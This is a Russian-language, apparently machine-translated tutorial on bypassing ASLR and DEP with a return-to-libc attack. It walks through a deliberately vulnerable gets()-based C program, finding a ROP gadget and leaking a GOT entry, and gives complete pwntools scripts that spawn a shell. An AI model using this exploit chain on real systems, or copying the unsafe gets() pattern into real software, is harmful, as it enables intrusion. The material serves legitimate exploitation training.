Сегодня я хотел бы уделить немного времени и представить небольшой трюк, чтобы обойти как ASLR ( рандомизация макета адресного пространства), так и DEP ( Предотвращение выполнения данных), чтобы получить оболочку в переполнении буфера уязвимом двоичном файле.

Я видел, как эта проблема обсуждалась с использованием стратегий возврата к PLT, и это нормально, если целевой метод уже используется в двоичном файле — хотя, будем откровенны, не многие программы будут вызывать system() или exec(). и пригласить вас спавнить ракушки.

Этот подход основан на атаке return-to-libc, при которой злоумышленник сначала выдает адрес известной функции (например, puts()), а затем вычисляет смещение между этой известной функцией и целевой функцией (например, system()). Суммируя 2 значения, получается адрес функции, которую мы хотим вызвать с помощью эксплойта. Если вы поняли эту часть, вам нужно только подготовить полезные нагрузки.

Учитывая уязвимый двоичный файл, давайте рассмотрим следующий сценарий:

  1. ASLR включен
  2. DEP включен
  3. В бинарнике вызываются только gets() и puts()
  4. Запуск в системе x64 (без перебора)
  5. Для простоты: никаких предохранителей стека (никаких канареечных значений)
  6. Злоумышленник знает, какая версия libc используется бинарным файлом.

Уязвимый двоичный файл

При написании этого я использовал очень простой двоичный файл (vuln.c):

#include<stdio.h>

int main()
{
    char buffer[40];
    gets(buffer);

    printf("hi there\n");

    return 0;
}

Собирается со следующими параметрами:

gcc -Wall -ansi -fno-stack-protector vuln.c -o vuln

Шаг 1: Базовое переполнение буфера

Начнем с определения смещения, чтобы перезаписать обратный адрес и выполнить простой перехват выполнения. Есть несколько способов сделать это: вы можете либо начать с полезной нагрузки произвольного размера, либо проанализировать поведение двоичного файла в отладчике (например, GDB), как показано на изображении ниже, где мы перезаписываем обратный адрес и RIP (ПК) переходит на 0x414241424142ABABAB»)

Обычно я проверяю это с помощью адреса, который вызывает определенную функцию или возвращает к началу программы (0x400566).

В случае успеха он дважды напечатает одно и то же сообщение:

Почему это важно?

Это важно, потому что ASLR рандомизирует кучу, стек и смещения, где отображаются библиотеки (например, libc), только когда бинарный файл запускается в исполнение. Повторный вызов main не вызовет повторную рандомизацию.

Это означает, что мы можем отправлять несколько полезных нагрузок с фиксированными смещениями (смягчая эффект ASLR).

Шаг 2: Утечка адреса puts@libc

Это трудная часть. Для создания оболочки с использованием этого двоичного файла требуется несколько полезных нагрузок. По сути, вы хотите получить адрес puts() с помощью вызова puts@PLT(), а затем вычислить адрес system(), имея доступ к libc. Кроме того, вам потребуется вычислить адрес строки 'sh', чтобы получить вызов system("sh"). Вам придется использовать вторую полезную нагрузку для выполнения вышеупомянутого вызова.

Я рекомендую вам выполнить эти шаги с помощью такой среды, как pwntools, так как вторая полезная нагрузка должна быть адаптирована с использованием информации, просочившейся во время выполнения.

Чтобы продолжить, необходимо понять роль GOT ( Global Offset Table) в двоичном файле, поскольку нет точного способа заранее узнать, где ASLR будет отображать каждую внешнюю библиотеку текущего процесса.

Адреса внешних методов обычно определяются во время выполнения, когда эти методы вызываются в первый раз (т. е. когда батут PLT запускается впервые). Однако адреса должны быть указаны в исходном коде до запуска программы, поэтому используются заполнители (фиксированные адреса / адреса @GOT). GOT действует как словарь и связывает адреса-заполнители с реальными/внешними адресами (в библиотеке). Значения GOT определяются и записываются решателем динамических адресов (компоновщиком) после вызова метода.

В нашей первой полезной нагрузке мы хотим использовать адреса GOT (заполнители) вместо внешних адресов (которые рандомизированы). Одно интересное наблюдение заключается в том, что вызов puts(puts@GOT) фактически выводит внешний адрес puts@libc.

Нам нужно, чтобы наша начальная полезная нагрузка выполняла такой вызов, чтобы иметь начальное представление о том, где отображается libc.

Начните с выполнения следующей команды, чтобы просмотреть адрес puts@GOT:

objdump -R vuln

Обратите внимание на вторую строку и запишите адрес:

OFFSET           TYPE                VALUE

0000000000600ff8 R_X86_64_GLOB_DAT   __gmon_start__
> 0000000000601018 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
0000000000601020 R_X86_64_JUMP_SLOT  __libc_start_main@GLIBC_2.2.5
0000000000601028 R_X86_64_JUMP_SLOT  gets@GLIBC_2.2.5

Далее вам понадобится гаджет ROP, который берет параметр из стека и помещает его в регистр RDI (в нашем случае принимает @GOT из нашей полезной нагрузки, из стека, и устанавливает его в качестве первого параметра для будущего вызова puts@PLT). Как вы помните, мы работаем на архитектуре x64, и соглашение о вызовах гласит, что первый параметр метода должен быть помещен в регистр RDI. Мы ищем гаджет POP RDI; RET — я делаю это с помощью ROPgadget (так что это ROPgadget --binary vuln), но не стесняйтесь использовать то, что вам удобно (GDB, Radare2 и т. д.).

Мы получим следующую строку:

0x00000000004005f3 : pop rdi ; ret

Последнее, что требуется полезной нагрузке, — это способ вызова puts(). Мы можем добиться этого, вызвав puts@PLT (через батут PLT), так как его адрес также фиксирован и не зависит от ASLR.
Вы можете использовать что-то подобное для извлечения адрес из бинарника:

objdump -d -M intel vuln | grep "puts@plt"

У меня получилось что-то вроде этого:

0000000000400430 <puts@plt>:

Наконец, мы можем создать первую полезную нагрузку. Я напишу это как скрипт Python для pwntools, чтобы иметь возможность расширить его и включить вторую полезную нагрузку. Новый поток программы должен быть следующим:

RET на pop_rdi_ret_address -> (RDI = puts@GOT) RET на puts_plt_address -> RET на основной

from pwn import *

r = process('vuln')

main_address = 0x00400566
puts_got_address = 0x0000000000601018
puts_plt_address = 0x0000000000400430
pop_rdi_ret_address = 0x00000000004005f3

payload = 'A'*56 + p64(pop_rdi_ret_address) + p64(puts_got_address) + p64(puts_plt_address) + p64(main_address)

r.sendline(payload)
print r.recvline() # "hi there"

leaked_output = r.recvline()
leaked_output = leaked_output[:-1]

print('leaked puts() address', leaked_output)
r.sendline('a')
print r.recvline() # "hi there"

А при запуске…

Шаг 3: Поиск адреса system@libc

В этой части мы вычисляем смещение между puts@libc и system@libc, а также находим адрес строки 'sh'. Из предыдущего запуска ldd мы знаем, что бинарный файл использует libc, расположенную по адресу: /lib/x86_64-linux-gnu/libc.so.6.

Выполнение следующих команд вернет смещения system() и puts() из libc:

objdump -d -M intel /lib/x86_64-linux-gnu/libc.so.6 | grep "system"
objdump -d -M intel /lib/x86_64-linux-gnu/libc.so.6 | grep "_IO_puts"

Линии интереса следующие:

0000000000045390 <__libc_system@@GLIBC_PRIVATE>:
000000000006f690 <_IO_puts@@GLIBC_2.2.5>:

Я нашел смещение строки sh внутри libc с помощью radare2. Выбери один.

Вычитание смещения puts() из просочившегося адреса puts@libc дает нам базовый адрес libc (начало области памяти, где она отображается для текущего процесса). Добавляя смещение system(), мы получаем вызов system@libc.

Теперь мы можем адаптировать предыдущий сценарий, чтобы создать вторую полезную нагрузку, которая выполняет вызов.

from pwn import *

r = process('vuln')

main_address = 0x00400566
puts_got_address = 0x0000000000601018
puts_plt_address = 0x0000000000400430
pop_rdi_ret_address = 0x00000000004005f3

puts_libc_offset = 0x000000000006f690
system_libc_offset = 0x0000000000045390
sh_libc_offset = 0x00011e70

payload = 'A'*56 + p64(pop_rdi_ret_address) + p64(puts_got_address) + p64(puts_plt_address) + p64(main_address)

r.sendline(payload)
print r.recvline()

leaked_output = r.recvline()
leaked_output = leaked_output[:-1]

print('leaked puts() address', leaked_output)

leaked_output += '\x00\x00'

puts_libc_address = u64(leaked_output)

system_libc_address = puts_libc_address - puts_libc_offset + system_libc_offset
print('system() address', p64(system_libc_address))

sh_libc_address = puts_libc_address - puts_libc_offset + sh_libc_offset

payload = 'A'*56 + p64(pop_rdi_ret_address) + p64(sh_libc_address) + p64(system_libc_address) + p64(main_address)

r.sendline(payload)
print(r.recvline()) # hi there

r.sendline(payload)

r.interactive()

Небольшое доказательство концепции

Если вы правильно выполнили шаги, вы должны получить что-то вроде этого:

Первоначально опубликовано на https://codingvision.net 2 июля 2019 г.